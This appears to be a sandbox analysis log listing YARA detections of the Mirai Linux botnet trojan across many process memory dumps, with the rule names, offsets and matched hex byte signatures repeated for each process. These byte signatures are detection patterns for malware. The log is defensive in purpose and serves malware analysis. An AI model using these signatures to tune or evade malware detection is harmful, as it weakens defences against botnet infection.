6432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7172.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7172.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7172.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7011.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7011.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7011.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6532.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6532.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6532.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6532.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6532.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6656.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6656.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6656.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6656.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6656.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6656.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7232.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7232.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7232.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7232.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7232.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7232.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6482.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6482.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6482.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6482.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6482.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6482.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7190.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7190.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7190.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7190.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7190.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7190.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6807.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6807.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6807.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6807.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6807.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6807.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6609.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6609.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6609.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6609.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6609.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6609.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6862.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6862.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6862.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6862.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6862.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6862.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7224.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7224.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7224.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7224.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7224.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7224.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6602.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6602.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6602.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6602.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6602.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6602.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7002.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7002.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7002.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7002.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7002.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7002.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7114.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7114.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7114.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7114.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7114.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7114.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6858.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6858.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6858.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6858.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6858.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6858.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7000.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7165.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7165.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7165.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7165.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7165.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7165.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6942.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6942.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6942.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6942.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6942.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6942.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6851.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6851.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6851.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6851.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6851.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6851.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6324.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6563.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6563.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6563.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6563.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6563.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6563.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6801.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6801.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6801.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6801.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6801.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6801.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6746.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6746.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6746.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6746.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6746.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6746.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6463.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6418.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6685.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6685.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6685.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6685.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6685.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6685.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6846.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6846.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6846.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6846.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6846.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6846.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7182.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7182.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7182.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7182.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7182.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7182.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7016.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7016.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7016.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7016.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7016.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7016.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
